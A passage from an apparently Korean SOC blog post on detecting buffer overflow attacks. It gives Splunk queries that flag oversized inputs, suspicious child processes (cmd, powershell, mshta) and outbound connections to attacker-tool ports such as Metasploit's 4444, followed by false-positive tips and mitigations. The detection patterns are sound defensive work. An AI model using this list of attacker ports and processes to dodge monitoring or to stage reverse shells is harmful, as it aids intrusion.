정상적인 요청에서는 수백 KB를 넘는 입력값이 반복적으로 발생하지 않는다. 짧은 시간 안에 비정상적으로 큰 데이터가 반복 전송되면 퍼징(Fuzzing) 또는 오버플로우 시도로 볼 수 있다.

탐지 포인트 2: 오버플로우 이후 의심 프로세스 생성

버퍼 오버플로우 성공 후 공격자는 보통 cmd, powershell 같은 프로세스를 실행해 추가 명령을 내린다.

spl

index=wineventlog OR index=sysmon
| where EventCode IN (4688, 1)
| eval suspicious=if(match(process_name, "(cmd\.exe|powershell|wscript|mshta)"), 1, 0)
| where suspicious=1
| stats count as suspicious_count by src_ip, process_name, parent_process_name
| where suspicious_count > 3
| sort -suspicious_count

⚠️ 인덱스명 안내: wineventlog, sysmon 은 예시로 작성한 것이다. 실제 환경의 인덱스명으로 변경 후 사용할 것.

탐지 포인트 3: 비정상적인 아웃바운드 연결

오버플로우 성공 후 백도어가 설치되면 C2(Command & Control) 서버로 아웃바운드 연결을 시도한다.

spl

index=firewall_logs
| where direction="outbound"
| where dest_port IN (4444, 8080, 9001, 1080, 31337)
| stats count as connection_count by src_ip, dest_ip, dest_port
| where connection_count > 3
| sort -connection_count

왜 저 포트들을 특정했는가:

공격자 도구들이 기본값으로 자주 사용하는 포트이기 때문이다.

포트	주로 쓰이는 도구	이유
4444	Metasploit 리버스쉘	해킹 프레임워크 Metasploit의 기본 리스닝 포트
8080	웹 프록시, 백도어	정상 HTTP(80)와 비슷해서 탐지 우회 목적으로 자주 사용
9001	Tor, Chisel 터널링	익명 통신 도구 기본 포트
1080	SOCKS 프록시	터널링 및 내부망 피버팅에 사용
31337	고전 백도어	해커 은어 "elite"를 의미하는 leet speak에서 유래

이 방식의 한계:

공격자가 포트를 443(HTTPS), 80(HTTP) 같은 정상 포트로 바꾸면 탐지 불가
8080은 개발 서버, 테스트 환경에서도 자주 사용되어 오탐 발생 가능

더 정확한 탐지 방법 (개선형):

특정 포트를 지정하는 것보다 "허가된 포트 외 모든 아웃바운드" 를 탐지하는 방식이 더 효과적이다. 공격자가 포트를 바꿔도 잡을 수 있기 때문이다.

spl

index=firewall_logs
| where direction="outbound"
| where NOT dest_port IN (80, 443, 53, 25, 465, 587)
| stats count as connection_count by src_ip, dest_ip, dest_port
| where connection_count > 3
| sort -connection_count

⚠️ 개선형 쿼리는 허용 포트 외 모든 아웃바운드를 탐지하므로 오탐이 많아질 수 있다. 자사 방화벽 정책 기준으로 허용 포트 목록을 정교하게 관리하는 것이 전제조건이다.

8. 오탐지 줄이는 팁

큰 입력값 탐지: 파일 업로드 기능이 있는 서비스는 정상적으로 큰 데이터를 전송할 수 있음 → 업로드 엔드포인트는 제외하거나 임계값을 높게 설정
의심 프로세스 탐지: 개발자 환경에서는 powershell, cmd가 빈번하게 실행됨 → 개발 서버 IP는 별도 처리
아웃바운드 포트: 환경마다 허용된 포트가 다를 수 있음 → 자사 방화벽 정책 기준으로 비허용 포트 목록을 직접 정의

9. 대응 방법

방법	설명
패치 적용	취약점이 발견된 소프트웨어의 보안 업데이트 즉시 적용
입력값 검증	개발 단계에서 모든 입력 데이터 크기 검증 로직 추가
ASLR	메모리 주소를 랜덤하게 배치해 공격자가 Return Address를 예측하기 어렵게 만듦
DEP/NX	데이터 영역에서 코드 실행을 차단하는 하드웨어/OS 기능
스택 카나리	버퍼와 Return Address 사이에 감시값을 넣어 오버플로우 감지
EDR 도입	메모리 레벨에서 비정상 행위를 탐지하는 엔드포인트 보안 솔루션

10. 마무리

버퍼 오버플로우는 1988년 모리스 웜(Morris Worm)에서 최초로 공개적 악용이 확인된 이후 수십 년이 지난 지금도 치명적인 취약점으로 꾸준히 등장하고 있다. 근본 원인은 단순하지만(크기 검증 누락), 파일리스 공격이 가능하다는 특성 때문에 탐지와 대응이 쉽지 않다.

SOC 실무에서는 메모리 레벨의 직접 탐지보다 공격 전후의 네트워크/프로세스 행위 패턴을 SIEM으로 모니터링하는 접근이 현실적이다.

더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.

이 블로그의 관련 CVE 분석 글:

버퍼 오버플로우(CWE-122)가 실제 적용된 사례가 궁금하다면 → CVE-2026-41096: Windows DNS 클라이언트 RCE 취약점 분석

참고 자료: